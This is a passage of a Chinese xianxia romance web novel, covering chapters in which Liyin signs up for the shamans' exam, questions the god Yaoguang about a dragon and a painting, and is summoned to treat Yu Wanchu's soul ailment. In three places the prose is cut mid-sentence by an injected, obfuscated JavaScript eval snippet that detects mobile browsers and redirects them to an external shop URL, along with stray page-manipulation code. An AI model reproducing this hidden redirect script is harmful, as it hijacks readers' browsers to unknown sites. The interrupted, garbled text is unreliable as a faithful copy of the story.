毕竟天上的神仙历劫归位后,还和下界的情情怨怨痴缠不清,是十分有损头脸的事,若这情思不能及时斩断,甚至还有可能被强行赐下一杯忘川水,那这次历劫便就算是失败了。 思及此,璃音不由得侧头看了看摇光,他的脸色虽没之前那么难看了,但也好看不到哪去。 听说这位神君曾被玉帝惩罚下界,历劫十次,誓要磨一磨他不可一世的飞扬脾性,叫他也懂一懂众生悲苦,不能总是那么高高在上。 结果在红尘里翻滚打磨了十遭回来,他的棱角非但没被磨平,反而是越磨越锐利,磨出了一身的倒刺逆鳞,见人就刺,刺出了三千道投诉的折子。 而且他对那些凡尘记忆从不留恋,每次都是说断就断,似文昌帝君这般偷身下界,只为再与凡间情人相会的事迹,在他身上绝对是从未有过的。 前世璃音和摇光并不相熟,有关他的那些张扬刺人的场面,也都只是耳闻,且大多是被赶出摇光殿的那些仙厨们口述出来的,璃音并未亲眼见识过几回,最多就是看到他面色不善地说了几个仙侍几句。 而且那种神情,比起别人口中说的带刺、找茬、或是高高在上的跋扈,她看着倒更像是一种失望后的生闷气…… 其实摇光平日里除了因与文昌帝君住得近些,所以有些交集和交情,其余时候,向来都是独来独往,哪怕上了战场,也是一人一剑就敢对斩千军万马。 那些投诉他的仙厨,最多与他有个一面之交,所以这位神君到底是个什么性格,与旁人正常相处时又究竟是个什么样子,其实成谜。 璃音不敢往下细想,因为不知是不是被他这几日在身边时乖巧的样子迷了眼、蒙了心,她竟觉得他之前那些不近人情的跋扈举动,有点像是在……撒娇。 撒娇,这两个字一冒出来,璃音立刻起了一身鸡皮疙瘩,她用力甩了甩头,要把这种玷辱神君威名的可怕字眼从脑子里甩掉。 这种事果真是不能也不该细想的,她怎可以自己之心度神君之腹!打住,必须立即打住! 幸而这时锦云仙子开口回她之前的话了:“帝君似乎尚未归府,但府中已准时开宴了。” 璃音侧耳细听,果然听见隔壁隐隐传来管乐瑶琴之声。 同时院外一个女声笑着传了进来:“小璃音,这你就不懂了,这种接风宴,只是让大家有个由头聚一聚,他们其实根本无所谓帝君何时回府,只是找个地方宴饮作乐罢了。” 和这声音一起进来的,是一个推着轮椅的俏美仙子,轮椅上的神君华冠鹤氅,丰姿俊秀,也曾在战场上叱咤过一番风云的,只可惜后来腿上落了残疾,否则和商月一起使动浮光剑法,不知该是多么好看的一番场面。 “巫真师姐!商止师兄!”璃音一见着来人,立马飞奔了过去。 商月也迎了上前,向着轮椅上的人微一颔首:“兄长。” 商止笑着向弟弟点一点头,便转头将璃音上下打量一遍,笑道:“阿横,身上的伤都好了?” 原来刚才的话他们全都听到了,想起自己还拿商止师兄举了例子,岂不也都被正主听了去,璃音脸上不禁热了又热,只好一把抱住巫真师姐的胳膊,也不知是不是因为刚才想着神君撒娇,这会儿自然而然就用撒娇掩饰起了尴尬:“伤好了,但是还痛着呢。” 这话一出,摇光和商月都立刻转了头过来,两道视线齐齐地射来她身上。 商止坐在轮椅上,探出手来,抓起璃音的手腕搭了搭脉,笑道:“无妨,都好全了。” “方才和人讲那番战场大道理的时候,怎么不听见你喊痛。”巫真刮了刮璃音的鼻子,也笑,“这么大人了,还是见到师兄师姐就要撒娇,羞不羞。” 璃音几次三番想岔开这个话题,却怎么也岔不开,干脆破罐破摔,扑在师姐怀里,嘟囔着道:“战场要上的,娇也是要撒的。” 商月摇头失笑,望着赖在巫真怀里的璃音,忽道:“我这弟弟是关心则乱,说话不知轻重,绝没有指责摇光神君的意思,阿横,你是懂他的心意的。” 这话表面是说给璃音听的,实际上却是说给摇光听的,是在为商月适才冒犯的言行向他隐晦致歉。 他语调温和,笑似春风,身下那一把轮椅又随时向众仙昭示着他有功勋在身,他来当和事佬,便谁也不好驳他的面子,当下商月紧了紧瞳孔,便垂了眼睫,没有说话。 摇光向商止看去一眼,神色难得温和,朝他微微点了点头,以示并不追究。 这便算是握手言和了。 璃音自然也听得出这话不是对自己说的,用不着自己回话,就拉着师姐的手,好奇问道:“巫真师姐,你和商止师兄怎么会来这里的,难道也是从隔壁文昌帝君的接风宴上过来的?” “这接风宴接了这么些年,早就变成接亲宴咯。”巫真笑着替商止拉了拉盖腿的毛毯,“里面全是携儿带女,过去撮合着相面结亲的。” 璃音不禁向商月和锦云望了望,他们也是被家中长辈撮合去相面结亲的么?或许早在不知多少年前哪位神君的接风宴上,他们就已经这样相识了。 两位也确实郎才女貌,看着十分登对。 但她心里终归有些不舒服。 商月为什么从没把这事告诉过她呢? 上一世,哪怕两人已经在一起了,他也从未和她提过这些,直到那只白玉虎头钗簪上了锦云仙子的发间,就那样突然又明晃晃地出现在她眼前,她才终于明白,自己不过是他生命中的一段孽缘,一段应该拔除、也终将被拔除的孽缘。 商止看璃音微微发怔,一下就猜中了小姑娘的心事,笑道:“阿横,商月是跟着我来的,他自有任务在身,可不是来结识旁的小仙子的。” 璃音一听,更好奇了:“任务?” 谁知一提“任务”两字,商止总是俊雅含笑的一张脸竟摆起苦来,眉梢发愁又无奈似的往下搭了搭,只嘴角的一抹笑却仍旧含着宠溺:“我和他都只是你巫真师姐的苦力罢了。” “什么叫苦力,为我做事,你很不情愿?”巫真在他背后捏了一把。 商止忙在轮椅上直了直背脊,正色道:“这都是我自己非要来的,是我看这接风宴上青年才俊甚多,正是给灵巫一脉拉拢人才的好时机,就过来物色物色,顺便看看有没有谁要报名来年的巫师大考的。” 但这样古灵精怪的贼点子,一听就是巫真师姐的主意,哪里会是商止师兄想出来的,璃音也不戳破,只笑道:“这报名人数少成这样了么?” 巫师大考三年一届,在昆仑山上举行,不论出身,不管你是凡间的小巫,还是灵山修习了数年的灵巫,亦或是半路转修巫术的天宫仙君,皆可来考,凡人若是考过了,便可直接领取灵巫仙籍,留在灵山履职修行,许多凡人便可由此一步登仙,故而曾经是个大大的热门。 但由于考核的科目繁多,不止灵术修为,更有天文地理,占星问脉,推演卦卜,甚至祭舞声乐,样样都要考,且一科都不能挂,又要和往届已经考上灵山的灵巫们一起参考,考近前三,才算考过,更是难上加难。 于是来报名的凡人就一届一届少了下去, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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巫真师姐是来年的主考,眼瞧着考期越来越近,看着寥寥几个报上来的名字,是日也愁,夜也愁,这会儿也叹着气道:“别提了,这年头灵山是早就不吃香了,凡间有点资质的都跑去宗门里修剑,天宫里更是求着都没人来。” 璃音想宽一宽师姐的心,就半开玩笑地笑道:“怎么没人,至少羑和仙君总有来报名吧?” 话刚说完,就听见院外传来一个酸溜溜的声音:“圣女自己不必去考,倒是对小仙报不报名关注得很。” 璃音默了一默,木着脖子回头,努力忽视掉空气中正向四处漫开的尴尬,笑道:“羑和仙君,这么巧啊。” 她今天是触了言灵么,怎么说谁来谁。 羑和向院中其余几位都拜过了礼,才郑而重之地向璃音一揖到地,恭声道:“拜见圣女娘娘。” 璃音:“……” 此刻这院中,两位神君,一位神巫,一位月宫少主,一位织女宫掌事仙官,哪个身份地位不比她一个寄居昆仑的小小灵巫要高,他却故意单单对着她行这样大的礼,又拿她身上“人间圣女凭功德飞升”这样一桩故事,捏造个“圣女娘娘”的称呼出来,讥嘲她实则道行浅薄的意味不言而喻。 空气中的尴尬气氛终于被推至顶峰,璃音刚想开口说点什么,却不想锦云抢先从树影中走了出来,冷声道:“羑和,人间那些状元还不够你酸的,跑来这里阴阳怪气什么。” “璃音仙子净化魔玉有功,不知救了多少人的性命,更别说……” 她说到这里,忽地顿了顿,看了璃音一眼,才继续说道:“你要称她是圣女娘娘,她也没什么担不起的,你非要拿自己几百年的道行和她上山才练了几年的修为相比,也不知道谁比较好笑。” 说罢竟拂袖而去。 羑和闻言先是一愣,接着面上渐渐渗出快要滴血似的红来,只见他捏了捏衣角,难堪却又倔强地追了出去:“锦云仙子……” 璃音却已经笑得嘴角都压不住了。 这么听来,她目前在锦云仙子心中的形象,似乎,好像,竟然还不错? 她向来是个吃夸不吃打的,听锦云这么一夸,心里一下子就窜出一股劲儿来,这劲头直往上冲,直直地就冲出了她的喉咙:“巫真师姐,来年的巫师大考,我能报名么?” 47. 第46章 计较 其实参加巫师大考,拔得头筹,从前世开始,就一直是璃音的一桩心愿,也是她的一桩遗憾。 商月看璃音一脸要干架的样子,嘴唇掀了掀,似是想说什么,却又压下,抬眼一望,见摇光的视线一瞬不瞬地落在璃音脸上,喉结微动,最终还是向璃音出了声:“你不用太和羑和计较,他和谁说话都是那个样子。” 这话乍一听是宽慰,但接在璃音刚才兴致勃勃的报名询问后面,就明显还有另一层意思了,他在提醒璃音:她这会儿不过是被羑和激了两句,就怄气去报名巫师大考,是在冲动行事,没那个必要。 璃音一度认为商月的襟怀宽广得吓人,不像摇光,菜里多放两滴油都能惹得他发作,但商月就真如天上明月似的,别人说他坏话,他从不记恨,也从来不往心里去,上一世,到后来整个天宫的人都在明里暗里嘲笑他,他也不在乎,他从来就只对她一个人格外计较而已。 之前他对着摇光的那几句出言不逊,她这会儿也逐渐回过味来了:说到底还是在计较她之前拒绝了他! 所以璃音知道,他是真的不计较羑和说了什么,也不希望自己计较。 但她没他那样的朗月胸怀,她是个俗人,上一世的她总是装作不计较,其实心里计较得要死,这一世回来后,一开始倒真是有些不计较了,但那只是一种求死之人的懒得计较,也不是真的不计较。 璃音想事情的时候,浑身就容易透着一股劲劲儿的小执拗,这副样子落在商止眼中,他就知道阿横是铁了心要报名的了,不禁就转头望向自己那位同样有些执拗的弟弟,今日他已被阿横驳过一次了,若再来一次,他必然难以接受,于是抢在璃音应声前,向商月笑道:“让阿横报名去玩玩也无妨。” “兄长!”商月开口,声音里藏着一点埋怨,还有几分焦急。 他不想给璃音泼冷水,只好给兄长递着眼色暗示:你就知道惯着她,到时万一没能考过,岂不是叫阿横丢脸。 商止哪里看不懂他的意思,但仍是笑道:“有什么关系,考不考得过都不会改变什么,阿横总还在这昆仑山上,还得继续和我一起,当巫真大人的小徒弟。” 说着轻轻拍了拍巫真搭在自己肩上的手:“巫真大人,你是主考,你来决定。” 商止当然不是真的拜在巫真门下修习的徒弟,他是在九百年前那场神魔大战中受了重伤,差一点连性命都丢了,连夜就被月宫宫主送上了昆仑救命,毕竟天宫里要论医术,最厉害的无疑就是昆仑的几位神巫。 最后命是救下来了,后遗症却也不少,月宫也不急着召他回去,就把他留在了昆仑调养,这一调养就养了九百年,且几乎都是巫真在替他细心料理,如今除了双腿仍旧无法行走,身子比旁人虚弱一些,已是没什么大碍了。 他养病多年,于医术一道上自然而然上了心,慢慢地就向巫真讨教起来,算是半个跟着她学医的徒弟,再加上两人九百年间朝夕相处,有些情愫早已不言自明。 有了这两层缘故,璃音既称呼巫真为师姐,那么称他为师兄就再恰当不过了。 巫真见问到自己头上,偏头想了一想,却不作答,而是突然转过脸来,将问题抛给了静静站在一边,却一直不曾开口的一位神君:“摇光神君,你觉得呢?” 摇光的眼神本就一直落在璃音身上,这时听巫真相问,既不转头,也不作答,而是冲着璃音微一眨眼,轻声问她:“很想去?” “嗯!”璃音用力地点一点头。 他眼底眉梢不知为何染上了一点笑意:“今天若是报名了,一年后,可就一定要去的,不能反悔。” “为什么要反悔?” 璃音更加用力地点头,承诺:“一年后,当然要去了!不反悔!” 她今天被羑和阴差阳错这么一激,算是彻底把她的斗志激了出来,竟完全忘记了一年后的自己是死是活都还是个问题。 摇光似乎很满意她这个答复,向巫真点一点头,道:“她说了,她很想去。” 巫真问的是他的意见,他却只是重复璃音的话,但谁都听得懂,他这就是支持她去的意思了。 璃音看摇光支持她去,忙趁热打铁,拉了巫真的手,撒娇似的晃起来:“巫真师姐,我是真的想去。” 巫真熬她不住,终于同意:“想去就去吧。” 说罢止住她拉着自己乱晃的小手,板起脸来,严肃道:“但可不是让你去凑数的,既然去了,就要好好考,给那羑和一点厉害看看,不许给我丢脸!” 璃音立马站直了身子,保证:“放心吧,巫真师姐,绝对不给你丢脸!” “好歹这报名册上是多了一个名字。” 巫真抬手捏了捏璃音的鼻尖,商止宠溺地看着她们两个笑,笑着笑着,就感觉到巫真那葱白的手指点上了自己的肩头,他唇角翘起的弧度一滞,果然听见巫真小恶魔般的声音响起:“不过这个算我拉来的,别忘了你的任务还没有完成。” 商止认命地抬手按了按眉心,试图用苦笑给自己多拉一个帮手:“阿横,一起去么?” 璃音向来对那种人又多又吵的宴会没什么兴趣,躲还来不及,忙一个大步走去摇光边上,脱口道:“我还有事要和小七……” 最近这小七是越喊越顺口了,她话到一半才察觉不妥,连忙在中途改口道:“……和神君商量。” 但即便后面改了口,院中几人也明显都已听到了她对神君这个十分“大不敬”的称呼,不禁都是一怔。 再看看那位传闻中脾气很差的神君,他在被喊作“小七”的时候,似乎并没表现出什么不悦,只是很习以为常地听着,反倒是后面璃音改口喊了他神君,他眉心就往中间拢了拢,很有些不满的样子。 商止把这一切瞧在眼里,不由得皱了皱眉,看向指节都被捏得发了白的商月,拍拍巫真的手,脸上又挂起春风般和煦的笑,才对着商月喊道:“阿月,我们走吧,你的任务也没完成呢。” 巫真却只是单纯被摇 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13737767|140064||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 光的好脾气震撼到了,她与这位摇光神君先前并没有打过交道,只是自从上了昆仑山,就总有关于他目中无人、嚣张跋扈的一些小道故事传入耳中,心中对他好奇得很,今天见着了本尊,只觉得他就是有些不爱搭理人,但要说嚣张跋扈什么的,委实夸张了些。 当下偷偷在心里啧了两声,便告了辞,推动商止的轮椅,走时还不忘叫上另一个苦力:“小月,跟上!” 商月面沉如霜,静静地向璃音望去一眼,应了一声,也抬步走了。 璃音看着商月银纱摆荡的背影,却有些愣住了。 商月以前并不是没给过她冷脸。 但那基本都是因为她太迟钝了,总在无意间辜负他的心意,她记得有一次,她不得不跟他去出席月宫里某个宴会,商月见她兴致不高,就递了一碗吃食过来哄她,她一看是一大碗的大虾,兴致就更不高了,她不太爱吃虾,那一碗就几乎没怎么动过。 回去后商月就冷了好几天的脸,不吭声,也不怎么理人。 璃音就知道自己肯定又在哪里迟钝了,左思右想,终于想起那一碗整整齐齐剥好了皮的大虾:月宫里的宴会上怎么会有虾,那一定是他特地从人间带上来,还亲手剥好了给她的,而她竟不知好歹,根本没有动筷去吃。 她又一次辜负了他的心意。 但他的冷脸,也只是冷在面皮上,只是在等她去哄,要她发觉他的真心。 而像刚刚那样仿佛冷在了骨子里的,她却从未见过。 * 文昌帝君府上,巫真追上一位青年才俊,就忽悠起人家报名巫师大考来。 商止拨停了轮椅,看向身边默不作声的弟弟,忽道:“你这样会失去她的。” 商月眼睫本来垂得低低的,听他这么一说,倏地抬起眸来,在兄长面前,眼尾终于染上一抹委屈的红:“是我对她还不够好,还是为她做的还不够多?” 后面还有更多委屈的话,但都被他吞进了肚子里:他凭什么?他们才认识几天?他又为她做过什么?明明我为了她,连命都可以不要,明明是我先来的,是我先来的啊…… 商止唯恐他这样下去,要坠入心魔,摇头叹道:“阿月,感情的事,不是你对她好就够的,如果你看不懂她想要的是什么,付出再多也只是感动了你自己。” 商月却只是像一根笔直的冰锥子一样,直愣愣地戳在原地,也不知把兄长的忠告听进去没有。 商止在心里长长地叹了口气,就见一个小仙童飞跑过来,向商月行礼告道:“少主,宫主召您作速回宫,有事商议。” 商月这才回过神来,有些疲惫地抬手揉了揉眉心,向那小仙童应了一声:“知道了。” 于是向商止躬身拜辞:“兄长,我先走了。” 商止苍白的两手搭在膝头毛绒绒的盖毯上,向他点一点头,温声道:“去吧,代我向父亲问好。” 商月轻轻“嗯”了一声,这才转身随小仙童一起,匆匆回月宫去了。 48. 第47章 “审问” “他已经走了。” 璃音还兀自盯着商月的背影发怔,就听摇光在一旁凉凉地开着口:“老师若是实在有话要与那位仙君讲,现在追上去还来得及。” 他还好意思用这种口气挖苦她!也不看看这院子里进进出出这么多人,都是拜谁所赐。 璃音横目扫他一眼,搬了月桂树旁的一把竹椅坐下,抱起了胳膊,哼道:“我同他讲什么,倒是同你,有好些话要问一问。” 她留下固然是有心要躲那宴会,但也确实有事要和摇光商量。 那魔龙的事,她本来一出画就要同他提的,谁知先是被他害得摔了一个大马趴,这大马趴又陆陆续续引了这么多人进来围观,直到这会儿,满院子的人才终于走清净了。 摇光看她一副要兴师问罪的架势,倒是愣了愣,旋即眉梢微挑,也搬了另一把竹椅,和她相对着坐下,脸上表情分明饶有兴味,语气却乖巧:“老师要问什么?” 今日院中的月桂花香似乎格外清甜,璃音不由仰起脸,往空中轻轻嗅了嗅,再低头时,才后知后觉地发现,这树下比上次来时,不仅多了两把竹椅,还多了一张小小的石桌。 她身子前倾,放下胳膊,将两只手搭在石桌上,把漂亮滚圆的眸子眯成狭长的一条,去盯紧了对面看似乖巧、实则满面悠然的那位神君,竭力要为自己营造出一点压迫感:“说吧,你为什么骗我。” 对面那人立刻恭声应道:“学生不敢。” “那条石龙,是猰貐神尊的一抹残识。”璃音模仿着记忆中大人物们装腔作势的样子,说话时指尖一顿一点,轻轻敲击着桌面,以此来增加威慑,“他说你欠他们龙族一个大人情。” 说到这里,她抬起一只手来,朝着自己现在瓷玉一般光洁的额头一指:“那我之前问你的时候,你怎么说不认得这个龙角。” 虽然额上那对龙角已然消退,但她的意思已经表达得很清楚了。 摇光嘴唇微掀,还未来得及说些什么,就听啪的一声,眼前的小姑娘已经把万壑千山图摸了出来,气势汹汹地拍在小小的石桌上面,证据确凿似的,眼里写满坦白从宽的威胁。 只她个子不高,因她作为凡人身死的时候只有十六岁,所以整个人还停留在十六七岁少女的身体形貌上,做起这些动作来,便如一只炸了毛的小猫,而她自己却浑然不觉,兀自哼哼着开口:“还有这幅画,神尊也说了,是他送给你的,你可不要抵赖说不认得。” “老师,学生当时说的好像是,学生有些眼熟,但记不得了。” 璃音只见对面那人眨了眨眼,一点没接收到她威胁的样子,反而看到了多有意思的事似的,语调却仍旧乖巧:“而且,学生是真的认不出来,它们龙族,学生看在眼里,除了颜色有点区别,难道不是每一条都长得一模一样。” 这话反把璃音说得愣住了。 难不成这位神君,他……脸盲? 这症状璃音是听说过的,尤其是像这样跨族相认时,互相都分辨不出到底哪个是哪个,也是常有的事。 而且他越说到后面,眉心就越向上蹙起,嘴角却悄悄地往下搭,受了多大冤屈似的,那粼粼闪着波光的眼神里,好像还挂着一点委屈的控诉。 吓得她用力眨一眨眼。 眼花,一定是她眼花…… 好吧,不是眼花。 难道真的是她冤枉他了? 人家只是单纯脸盲,加上记性差而已。 璃音不仅吃夸不吃打,还吃软不吃硬,她很难盯着这样一个表情看太久,当即轻咳一声,从他脸上收回视线,道:“好吧,这个算你过关。” 她今日打算要审他的事可不止这一件,和这位神君相处下来的这几天,他身上有太多的疑点,都叫她捉摸不透。 但她也知道,审人是讲究技巧的,比如问题最好要在对方不设防时突然抛出,又要在之后某一个时间点突然回抛,从而验证第一次得到的答案。 于是她不急着抛出下一个问题,而是先和他谈点别的正事:“猰貐神尊还与我说了另一件事,说这世间还一直藏着另一条魔龙。” 摇光闻言眸色深了深,神情跟着凝重起来,这反应在璃音的意料之内,但他说出的话却大大出乎了她的意料,他说:“我知道。” “你知道?” “碰上过一次,杀了。”似是被人翻出了什么很不愉快的回忆,他皱了眉,眸底的肃寒毫不遮掩。 璃音笑道:“杀了,但是又活了,对吧。” 摇光就撇一撇嘴,好像更不愉快了,别过脸,不看她,也不跟她说话。 其实看他摆臭脸也挺有意思的,不像商月,看着温柔,心思却难猜,时常要她冥思苦想,有时甚至要研究上十天半个月,才知道自己哪里又惹得他不高兴了,而这位神君面上虽看着冷酷,实则什么心思都摆在脸上,只要了解一些上下文,就好猜得很:还能是因为什么不愉快,自然是打架打“输”了。 当然,他的这种“输”,并不是说他在战力值上落败,战力值落败这种事,从未听说在他身上发生过。 但根据猰貐神尊所言,那条魔龙拥有不死不灭之身,那么他可以打败它一次,两次,甚至每一次,但又其实永远都“赢”不了它。 璃音不禁有些阴暗地想:前世他是死在她前面了,也不知道他和破军若是正面对上入魔龙化时的她和玉横,会是谁输谁赢,是不是也会惹得他在很多年后提起时,还是这副打架打输了的懊恼模样。 因为像他们这等不死不灭的怪物,往往只要一息尚存,哪怕只是留下一个神识碎片,只需等一个契机,比如等到自己的同源血脉,又比如等到玉横这样一个可以助人重塑肉身的神器,就可以卷土重来。 璃音把胳膊肘撑在石桌上,托着腮道:“神尊说,唯有落日神弓才能将它彻底诛灭。” 同源血脉必须是自己血管里流淌着的热血。 所以要等到自己的同源血脉,像猰貐神尊等到璃音一样,其实几乎是不可能发生的事件。 毕竟都只剩神识残片了,肉身必然已经遭毁,等残片模模糊糊有些意识,至少几百年都过去了,若非是猰貐那一口龙血刚好喷在玉横身上的机缘巧合,哪里去找这一捧存了一千多年的热血。 因而猰貐说唯有落日神弓可诛不死不灭之身,这话原是没错,毕竟他的情况太过特殊了。 传言里后羿神君一箭之威,可同时破仙身,破金石,破神魂,更有一招“落焰飞天”,可使一箭化万箭,射出时宛如箭头抹了火药的万箭齐发,能把身魂法宝一齐炸成烟花上天,碎成个千千万万片,要想再拼回来,那是绝无可能。 而要拥有所谓的不死不灭之身,要么如猰貐神尊一般,吞食过西王母的不死药,但自猰貐之后,就再没听西王母给谁赐过药了。 要么就同她一样,有玉横这样可保魂魄不灭,又可将肉身无限重塑,还要心甘情愿听主人使唤的本命法宝傍身,但这样的神器,天上地下,璃音都不曾听说过有第二个。 这魔龙当真是越想越神秘,璃音托着下巴,一边思索着这些,一边叹道:“他让你陪我去找落日神弓,可是神弓封锁了灵魄,引魂铃都探不出来,我们现在连它究竟沉去了东南西北哪片海域都不知道,根本就是大海捞针,不可能找得到。” 摇光听了,给出的回话却再一次大大出乎璃音的意料,他几乎是脱口道:“在东海。” 璃音眼睛都睁大了:“你又知道?” 摇光被她这么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13740927|140064||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一问,却又迟疑着摇了摇头,仿佛自己也很惊讶刚才的脱口而出似的:“不确定,就是觉得好像应该在东海。” 璃音又眯起眼睛,在他脸上盯了半晌,突然就收了托腮的那只胳膊,向他欺近身道:“还有什么事是你知道,但瞒着我的?” 他眸光微微闪动,忽然垂下眼睫,不说话了。 果然有事瞒着她! 就连心虚都这么好猜。 璃音坐回身子,又一次托起下巴,在满院的桂花香中,开始跟他兜圈子:“神尊说了,你得陪我去找。” “嗯,好。”他仍是不抬眸看她,连声音都有些心不在焉。 自这位神君被西王母强行拉来和她“配对”之后,一直都表现得十分听话乖巧,像这样消极着应对她的问话,还是第一次,璃音心里那一点点不高兴就又翻上来了,她抿一抿唇,没忘了自己的审讯任务,又问:“你欠了龙族什么大人情?” “不知道,不记得了。”他垂着眼,摇头,看向被璃音拍在桌面上的万壑千山图,“只记得确实有一条青龙送了我这副万壑千山图。” 终于要问到正题了,璃音暗暗直了直背脊,盯紧了他的面庞,不肯错过他接下来每一丝神情变化,嘴里却状似不经意地顺着方才的话道:“这么珍贵的礼物,你就这么给了我,我又不懂赏画,可惜了。” 那时她刚刚重生回来,迈不过心里一道坎,导致只要有凡人在旁,她就无法使用灵力,也不敢在任何地方修炼魂术,这事只有她自己,和已经散了灵魄的小天真知道。 她这是在试探眼前这位神君,他是不是也知道。 不,她几乎可以肯定,他是知道的,否则绝不会正巧就送了她这样一幅画。 ——往后老师夜里无聊时,便可来这画中的还音殿里修炼,不必担心伤了旁人一分。 还在送画时说出这样的一句话。 问题是,他到底是怎么知道的? 对面那人也终于抬起头来,只是从他脸上看不出丝毫的闪躲、慌乱、或是藏着暗流的那种故作镇定,而是又恢复了那副十分乖巧的模样:“拜师礼,不可惜。” 璃音盯了他一会儿,忽道:“你什么时候认识我的?” “瑶池宴上。”他答得很快,眼神也立刻对望了过来,显然已经对她的意图有所察觉。 璃音又开始岔开话题:“对了,虞姐姐他们呢,还有楚娘子的事情怎么样了?” “不知道。” “不知道?” 方才什么天大的秘密都知道,这会儿又什么都不知道了,连虞姐姐和楚娘子那边的进展都不知道? 璃音是真的惊讶。 但他的神情也是真的坦荡。 他甚至还贴心地补充:“老师如果要知道情况,学生可以现在就去皇城看看。” “不急,不急。” 璃音慢吞吞说了这一句,又突然语速极快地杀个回马枪,问他:“我们第一次见面是在哪里?” 他直视着她,眼底坦荡,仍旧答得飞快:“昆仑山,瑶池宴上。” 两次给出的答案倒是一致,没能诈出什么。 是他真的过于坦荡,还是掩藏的手段过于高明? 不及她多想,忽觉掌心一烫,竟是一张请神令到了。 她连忙将手掌向上摊开,就见手心轰地一下窜出一连串的符纸来。 璃音:“……” 这个挥符如土的风格…… 她抽出其中一张,先向着请神人的名字一看,果然就是虞宛言。 再一读符纸上的内容,当即变了脸色,她急忙忙地起身,上前一把拉住摇光的胳膊,就催动了腕间的传送宙铃:“是虞宛言烧来的请神令,虞姐姐出事了!” 49. 第48章 魂弱之症 从去岁年底开始,旱了将近要有小半年的汝陵皇城,这会儿清凉的雨丝如银线,正按着雨神的旨意,随风斜斜细细地飘着。 揽华殿中,璃音收了为虞宛初搭脉的手,眉心越皱越深。 这神色可不太叫人安心,虞宛言嘴唇刚动,揽华就抢着开口了:“仙长这个表情,难道这位姐姐不中用了?” 这位被昭宁皇帝娇宠着长大的小公主,性子直率,从来不懂什么叫察言观色,也别指望她能懂什么叫善解人意,心里有什么就要说什么,当真毫无顾忌。 比如现在,虞宛言站在她边上,浑身森森的寒气直往外冒,眉眼冻得都快结霜了,这屋子里的所有人中,除了昏迷不醒的虞宛初,就只有揽华心大得好像自带一层防寒罩,对那逼人的冷意是一点也没察觉。 但你要说她没心没肺,或是心肠坏了,在虞宛言背着晕倒的姐姐星夜御剑赶来皇城,来求他在凡间唯一认识的神仙——文昌帝君救阿姐一命时,公主却二话不说,就把自己的大床让给了这位重病不起的陌生姐姐。 因为她记得,她的床上是有仙人留了可叫死人复活的厉害阵法的,只要躺上去时还没断气,就无论如何可保虞宛初一命。 但文昌实在是能文不能武,能画不能医,治病救人这种事,他就是有心也是无力,当即就告诉虞宛言,要救他的阿姐,最好还是要找一个有本事的灵巫过来瞧瞧。 有本事的灵巫,虞宛言统共就只认识那么一个,还是个被他讨厌了一路的小姑娘。 但事关阿姐性命,他也顾不上那些扭捏的心思了,就是当场要他给那小姑娘磕头都行,于是二话不说,就从乾坤袋里掏出一整沓的符纸,挥笔唰唰唰全部写满璃音的名字,一张张的请神令不要钱一样地直往天宫上烧。 璃音也确实称得上是有点本事的灵巫,但自她手指搭上虞宛初的脉后,面色便越来越凝重。 诊完脉,仍是一言不发,直到听见揽华口无遮拦的催问,才拧着眉毛抬头,向虞宛言道:“虞姐姐的弱症恐怕不在身体上。” 虞宛初的身体并不像她想象的那样孱弱,既没有病弱体虚的症状,也没有染上任何的不治之症,甚至可以说是气血充沛、身强体健,若醒着,一拳打十头牛都不成问题。 这原也正常,她毕竟是宗门里的弟子,辟谷修行多年,天分又高,如今已是练出半个仙身了,身体底子自然与大街上那些真正的凡人不同。 可按她这个身体素质,即便因着招魂之术受了一点反噬,也该恢复得很快,而且璃音记得,自己第一次在虞家村遇着她时,她就已是脸呈病态,且动用灵力之后便即晕倒,这一次又是,羸弱成这样,太不正常了。 弱症既不出在身上,那只能是出在魂上了。 这就棘手许多。 当年商止师兄在战场上伤了魂魄,在昆仑山上一调养就是九百年。 但虞宛初的情况又与商止师兄不同,即使璃音愿意接她上昆仑,也愿意为她调养个九百年,她的凡人寿命也不会允许。 难怪那日算命先生会退回她的卦金了。 但能活一日是一日。 璃音顿了顿,看向虞宛言的眼神试探而郑重:“介意我探一探虞姐姐的魂魄么?” 探人魂魄的过程就如给人剥衣解带,魂术一点点探入,平日里覆在灵魂上厚厚的一层层伪装便要被全部扒下,灵识□□,过往一览无余,因而除非情势所需,或事先征得了本人同意,璃音一般不会,也不想随意窥探他人魂魄。 毕竟这事就和悄悄戳破窗户纸,透过那一个隐蔽的小孔,去偷窥一个赤身裸体、完全独处的人一样,看到的画面通常都不会太美好。 谁还没点深埋心底、不愿见光的阴暗秘密呢。 虞宛初昏迷不醒,璃音无法,只好向她在场唯一的亲人,也就是虞宛言征求这份同意。 不料他想都没想,一口回绝:“不可以。” 璃音闻言一愣,连摇光都略显讶异地挑了挑眉。 有法子探一探他姐姐的病,他却不愿意,实在不符合他一路上爱姐如命的作风。 就连揽华听了都愣:“难道就这么放着不治了?” 